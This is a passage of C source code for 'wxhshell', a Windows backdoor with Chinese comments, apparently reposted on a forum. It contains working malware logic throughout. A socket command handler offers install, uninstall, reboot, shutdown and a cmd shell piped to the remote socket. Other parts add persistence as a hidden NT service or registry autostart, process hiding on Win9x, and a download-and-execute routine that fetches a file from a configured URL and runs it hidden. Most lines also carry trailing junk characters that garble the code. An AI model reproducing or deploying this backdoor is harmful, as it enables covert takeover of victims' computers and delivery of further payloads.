    switch(cmd[0]) { hk;5w{t}}  
  }?$F}s-  
  // 帮助 E<rp7~#  
  case '?': { ; }I:\P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '0;l]/i.  
    break; ^ox=HNV  
  } c8 )DuJ#U  
  // 安装 + )AG*  
  case 'i': { aL\PGdgO  
    if(Install()) :^lI`9'*R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LRxZcxmy  
    else B9_ X;c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Py`P'+  
    break; ;DQ ZT  
    } wA ,6bj  
  // 卸载 *xAqnk   
  case 'r': { ~f2z]JLr:  
    if(Uninstall()) w?PkO p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 &jc/*Z"  
    else M/B_#yK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RXMISt3+{y  
    break; /aCc17>2V{  
    } df8k7D;~e  
  // 显示 wxhshell 所在路径 YR\faVk  
  case 'p': { l K{hVqpt  
    char svExeFile[MAX_PATH]; olB.*#gA  
    strcpy(svExeFile,"\n\r"); o+iiST JEe  
      strcat(svExeFile,ExeFile); 7DogM".}~Q  
        send(wsh,svExeFile,strlen(svExeFile),0); ~Y[r`]X`"m  
    break; Df-DRi  
    } /obfw^  
  // 重启 a@K%06A;'  
  case 'b': { R`5.[?Dt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4d4ZT?V[  
    if(Boot(REBOOT)) *gb*LhgO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V;VHv=9`o  
    else { 3Y4?CM&0v  
    closesocket(wsh); 94`7a<&ZNL  
    ExitThread(0); LtF,kAIt7v  
    } [-1^-bb  
    break; @}u*|P*  
    } h%na>G  
  // 关机 AEI>\Y  
  case 'd': { x M/+L:_<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ys9[5@7  
    if(Boot(SHUTDOWN)) caR<Kb:;*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,$L4dF3  
    else { sjHE/qmq-Z  
    closesocket(wsh); aH(J,XY  
    ExitThread(0); ,Q$ q=E;X  
    } ah$b [\#C  
    break; un"Gozmt5  
    } & bm 1Fz  
  // 获取shell "m$##X\  
  case 's': { IZ-1c1   
    CmdShell(wsh); w>&aEv/f  
    closesocket(wsh); !<8W {LT  
    ExitThread(0); nIf1sH>  
    break; 7vKK%H_P  
  } 8}x:`vDK  
  // 退出 WF+99?75  
  case 'x': { ha<[b ue  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #powub  
    CloseIt(wsh); e;q!6%  
    break; J7$5s  
    } @Sn(lnlB  
  // 离开 mfn,Gjt3O  
  case 'q': { %)8}X>xq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =_*Zn(>t`  
    closesocket(wsh); uk:(pZ-uJ  
    WSACleanup(); 2DDtu[}  
    exit(1); nsC3  
    break; Xf]d. :  
        }  @tnz]^V  
  } K:[F%e  
  } epe)a  
;%9|k U  
  // 提示信息 |kg7LP3(8,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |$Sedzj'  
} N7zft  
  } ?pmHFlx  
VQt0  4?  
  return; 3,3N^nSD  
} h 0Q5-EA  
9d659i C  
// shell模块句柄 ^98~U\ar  
int CmdShell(SOCKET sock) Tn e4  
{ 13=AW  
STARTUPINFO si; kd(8I_i@  
ZeroMemory(&si,sizeof(si)); `wEb<H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 20h, ^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .f2bNnB~pP  
PROCESS_INFORMATION ProcessInfo; g}{aZ$sta  
char cmdline[]="cmd"; e{K 215  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;7V%#-  
  return 0; L|7R9+ZG  
} bl;1i@Z*M  
Z]Cq3~l  
// 自身启动模式 %)W2H^  
int StartFromService(void) &)ChQZA  
{ U(g:zae  
typedef struct L|xbR#v  
{ - %h.t+=U  
  DWORD ExitStatus; :U%W%  
  DWORD PebBaseAddress; ;bib/  
  DWORD AffinityMask; 7(8;t o6(  
  DWORD BasePriority; BC.87Fji/  
  ULONG UniqueProcessId; _C?hHWSf"  
  ULONG InheritedFromUniqueProcessId; E6ElNgL  
}   PROCESS_BASIC_INFORMATION; hx%v+/  
Rtl"Ub@HV  
PROCNTQSIP NtQueryInformationProcess; (m/G(wg  
WX?IYQ+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k$R-#f;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sIGMA$EK  
HCs?iJ  
  HANDLE             hProcess; $a"Oc   
  PROCESS_BASIC_INFORMATION pbi; a~}OZ&PG  
1};Stai'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \&3+D8H>n  
  if(NULL == hInst ) return 0; zP8lN(LA  
d.d/<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Id .nu/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pJ"qu,w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M`!H"R7  
P@Oo$ o  
  if (!NtQueryInformationProcess) return 0; vMH  
Ckuh:bs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <uw9DU7G  
  if(!hProcess) return 0; x2\qXN/R  
f+,qNvBY/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [!#L6&:a8  
K`zdc`/  
  CloseHandle(hProcess); m@v\(rT.  
/]Md~=yNp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >W+%8e  
if(hProcess==NULL) return 0; !ons]^km  
MaQqs=  
HMODULE hMod; 9vc2VB$  
char procName[255]; 9F;>W ET  
unsigned long cbNeeded; 6}Ci>_i4#  
37.S\ gO]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H=vUYz  
`0gyr(fES  
  CloseHandle(hProcess); nT$SfGFj8  
WO>nIo5Y  
if(strstr(procName,"services")) return 1; // 以服务启动 D8?Vn"  
s$`0yGmQ  
  return 0; // 注册表启动 D'PI1 0t  
} c]o'xd,T8\  
{]@= ijjf  
// 主模块 =K[yT:  
int StartWxhshell(LPSTR lpCmdLine) [<yaXQxl  
{ P{>!5|k  
  SOCKET wsl; >jLY"  
BOOL val=TRUE; O-hAFKx  
  int port=0; L\"d  
  struct sockaddr_in door;  |TH\`U  
 DA,?}  
  if(wscfg.ws_autoins) Install(); %pL''R9VF  
0znR0%~  
port=atoi(lpCmdLine); _8UU'1d  
z,p~z*4  
if(port<=0) port=wscfg.ws_port; 0pd'93C  
16(QR-  
  WSADATA data; p6Gy ,C.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; []1C$.5DD  
*P=VFP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E4/Dr}4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xOmi\VbM  
  door.sin_family = AF_INET; wJo}!{bN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w;amZgD>  
  door.sin_port = htons(port); ~HsJUro  
N5 6g+,w%)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }(73Syl#  
closesocket(wsl); 3;A)W18]  
return 1; d^ 8ZeC#  
} N<VJ(20y  
y??XIsF  
  if(listen(wsl,2) == INVALID_SOCKET) { \X D6 pr@  
closesocket(wsl); X5$Iyis  
return 1; xY(*.T9K  
} dkTX  
  Wxhshell(wsl); &n:.k}/P  
  WSACleanup(); Aw.qK9I  
&B1WtW  
return 0; bK&+5t&  
SoK iE  
} VjZ|$k  
`b7t4d*  
// 以NT服务方式启动 Iit; F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Eo]xNn/g  
{ @lrztM  
DWORD   status = 0; c<Tf 2]vZE  
  DWORD   specificError = 0xfffffff; 7ZWgf"1j  
y766; X:J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lq;P ch  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8'io$ 6d=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v`Oc,  
  serviceStatus.dwWin32ExitCode     = 0; c,+:i1IAy  
  serviceStatus.dwServiceSpecificExitCode = 0; 'I6i ,+D/q  
  serviceStatus.dwCheckPoint       = 0; M%P:n/j  
  serviceStatus.dwWaitHint       = 0; ,w4V?>l  
T+H!_ky`A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tFOhL9T  
  if (hServiceStatusHandle==0) return; 6mxfLlZ  
00~mOK;1  
status = GetLastError(); ~V1E0qdAE  
  if (status!=NO_ERROR) }N6.Uu 5zI  
{ ` 7V]y -  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cU!vsdR3  
    serviceStatus.dwCheckPoint       = 0; [5Mr@f4I  
    serviceStatus.dwWaitHint       = 0; ~U&AI1t+J  
    serviceStatus.dwWin32ExitCode     = status; d|Lj~x|  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4O!ikmY:t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 12gU{VD  
    return;  S9FE  
  } .Rs^YZF  
H8}oIA"b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @Qt{jI !  
  serviceStatus.dwCheckPoint       = 0; $}<e|3_  
  serviceStatus.dwWaitHint       = 0; Si;H0uPO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MeZf*' J  
} i5@ z< \  
u>a5GkG.  
// 处理NT服务事件,比如:启动、停止 <$Yd0hxjU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ry6@VQ"NLb  
{ {8bSB.?R  
switch(fdwControl) 59;KQ  
{ pB0 \\wR  
case SERVICE_CONTROL_STOP: Y\g3h M  
  serviceStatus.dwWin32ExitCode = 0; pG;U2wE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3"~!nn0;  
  serviceStatus.dwCheckPoint   = 0; 07{)?1cod4  
  serviceStatus.dwWaitHint     = 0; t&e{_|i#+  
  { }a(dyr`S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0*{%=M  
  } )|# sfHv7  
  return; b,1ePS  
case SERVICE_CONTROL_PAUSE: s&3Vg7B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )oPBa  
  break; bq0zxg%  
case SERVICE_CONTROL_CONTINUE: Vp@?^imL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JYHl,HH#z  
  break; Y9XEP7  
case SERVICE_CONTROL_INTERROGATE: J)p l|I  
  break; @_}P-h  
}; r$s Qf&=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;vjOUn[E  
} V1B5w_^>h'  
p9{mS7R9T  
// 标准应用程序主函数 )MTOU47U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #Ki[$bS~6  
{ Z=vU}S>r|v  
aWF655Fs*  
// 获取操作系统版本 IyG}H}  
OsIsNt=GetOsVer(); yEE*B:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zp=U W*g^  
}b.%Im<3R  
  // 从命令行安装 FJ)$f?=Qd  
  if(strpbrk(lpCmdLine,"iI")) Install(); n,WqyNt*  
s`~IUNJ@P  
  // 下载执行文件 gV_}-VvP  
if(wscfg.ws_downexe) { 4~Q/"hMSkO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >}6%#CAf  
  WinExec(wscfg.ws_filenam,SW_HIDE); draN0v f  
} &6nWzF  
~oY^;/ j  
if(!OsIsNt) { svH !1 b  
// 如果时win9x,隐藏进程并且设置为注册表启动 q^<?]8  
HideProc(); II{&{S'HU  
StartWxhshell(lpCmdLine); p H2Sbs:Tk  
} P71Lqy)5}A  
else Q*~]h;6\{d  
  if(StartFromService()) z!9-:  
  // 以服务方式启动 >e$PP8&i_T  
  StartServiceCtrlDispatcher(DispatchTable); TAW/zpps$  
else ]N F[>uiW  
  // 普通方式启动 7WZ+T"O{I  
  StartWxhshell(lpCmdLine); ePo}y])2  
{ 9q4)R}G  
return 0; k~nBiV  
}
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只看该作者 1 发表于: 2006-10-10
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